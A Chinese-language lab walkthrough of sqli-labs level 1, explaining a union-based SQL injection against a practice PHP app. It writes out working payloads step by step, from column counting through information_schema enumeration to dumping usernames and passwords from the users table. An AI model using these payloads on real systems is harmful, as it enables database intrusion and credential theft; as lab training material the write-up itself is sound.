当前位置: 首页 > news >正文

SQL注入sqli-labs-master关卡一

 本文环境搭建使用的是小皮,靶机压缩包:通过百度网盘分享的文件:sqli-labs-php7-master.zip
链接:https://pan.baidu.com/s/1xBfsi2lyrA1QgUWycRsHeQ?pwd=qwer 
提取码:qwer

下载解压至phpstudy的WWW目录下即可。

第一关如下:判断是否存在注入点。

页面提示我们输入ID作为数值参数,

我们查看该关卡的php源码进行分析:第一步是要连接MySQL,二这个MySQL进行了一个文件包含,将sql-connections/sqli-connect.php的文件代码参数用至index.php中,连接至数据库后的if(isset($_GET['id']))等代码就是进行数据库的一个查询。这里的isset($_GET['id']))代码不知道是什么意思的可以去PHP: PHP 手册 - Manual进行一个查询:

传参有GET和POST两种传参方式,GET传参一般在浏览器的地址栏中传参,POST传参一般在from表单中传参。然后我们传入id=1即输入?id=1,回车后页面显示如下我们的名字和密码为Dumb。传入id=2时返回的名字密码也不同,说明我们传入的值是被带进数据库中进行了一个查询并打印到前端页面中来。也就是说通过php源码我们可以看出该关卡的内容很简单,就是接收参数,查询数据库,前端显示的一个操作。

然后我们可以从中看出该代码存在的漏洞:首先没有对用户的输入进行一个过滤

因为没有对用户输入做过滤,我们进行一个联合查询,注意地址栏中的%20是空格符,因为编码先转ASCLL码再转十六进制,前面的0x变为%替代。但是查询结果依然是?id=1的结果。

在源码中我们可以看到查询语句是这一句。

我们union select 1,2,3就相当于

注意前面id的单引号,我们联合查询的语句并没有进入,在数据库中执行的语句依然为id = 1,没有我们要联合查询的语句,所以我们要逃离单引号,逃离单引号我们可以加一个单引号使之闭合。

union select 1,2,3'就像这种,注意单双引号要成对出现,不然会报错。所以我们需要给他闭合上单引号。但是我们已经逃脱了单引号的控制。

我们联合查询多的单引号就要想办法去给他搞掉。我们有两个办法去把这个单引号弄掉;1.加个单引号,给它闭合上。2.给这个单引号注释掉。MySQL的注释符有三个:-- 和# 和/***/ */这三个注释符。若是依然报错,地址栏中注释符存在,则我们可以转为ASCII编码再转十六进制再去尝试即可。

我们的最终目的是注入管理员的账号密码,首先我们就需要知道管理员表表名和列名。

我们不知道管理员的表名列名,但是我们可以知道MySQL自带的三个表, information_schema, mysql,performance_schema 这三个表。重点放在信息表information_schema它包含了数据库里的所有表。

我们通过order by检测它的列数,?id=1'order by 1 --+通过1,2,3,4一个一个去尝试,发现其列数为3列。

查询前端显示的是1,2,3列中的那一列?id=-1'union select 1,2,3--+得到显示的是2,3列。这里将id值作为-1是为了让前面的语句失效再使用union查询是否有回显位。

查找它的数据库名字和版本?id=-1'union select 1,database(),version()--+得到它的数据库名为security。

在information_schema中存在的columns表(列名)和table表(表名)是我们需要查看的地方。则通过

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+查询出表名。

在表名里我们看到了users用户表,再查看它的字段名?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+,

在里面我们看到了username表和password表。就直接进行查询这个users中的username和password。

?id=-1' union select 1,2,group_concat(username , password) from users--+

拿到账号密码这样看太抽象了,于是我又换了个代码查询。

?id=-1' union select 1,username,password from users where id=2 --+

?id=-1' union select 1,username,password from users where id=3 --+

?id=-1' union select 1,username,password from users where id=4 --+

上就是第一关的内容了。

http://www.lryc.cn/news/419015.html

相关文章:

  • LeetCode面试题Day6|LeetCode238 除自身以外数组的乘积、LeetCode134 加油站
  • 猫头虎分享:Python库 FastAPI 的简介、安装、用法详解入门教程
  • python连接MySQL数据库使用pymysql
  • AI时代下的编程趋势:程序员如何提升核心竞争力
  • C#:基本语法
  • Redisson 实现分布式锁
  • VMware ESXi学习笔记
  • Python 函数(2)
  • c++文件的读写
  • 春秋云境 | 文件上传 | CVE-2022-30887
  • 大模型+XDR!打开网络安全攻防演练新范式!
  • C语言----字符串
  • ThreadLocal 详解(三)内存泄露原因,以及强弱引用
  • 【Android面试八股文】说一说Android开发模式之MVC、MVP、MVVM的区别?
  • 多叉树的深度优先遍历(以电话号码的字母组合为例)
  • 【YashanDB数据库】PHP无法通过ODBC连接到数据库
  • C++ | Leetcode C++题解之第326题3的幂
  • Ubuntu20.4上搭建FFMPEG开发环境
  • 谷粒商城实战笔记-144-性能压测-性能监控-堆内存与垃圾回收
  • 大模型综述
  • Python 常用内置函数
  • 什么是大数据?
  • Linux 内核源码分析---资源分配及系统总线
  • C# POST请求 各种实现方法梳理
  • 《MySQL数据库》数据导入、导出、表处理—/—<4>
  • Java I/O (Input/Output)——文件字节流
  • VisionPro二次开发学习笔记4-使用C#创建绘图图形
  • 【langchain学习】使用JsonOutputParser让大模型生成结构化JSON数据
  • 【学习笔记】Matlab和python双语言的学习(最大最小化规划)
  • 基于SpringBoot的Redis开发实战教程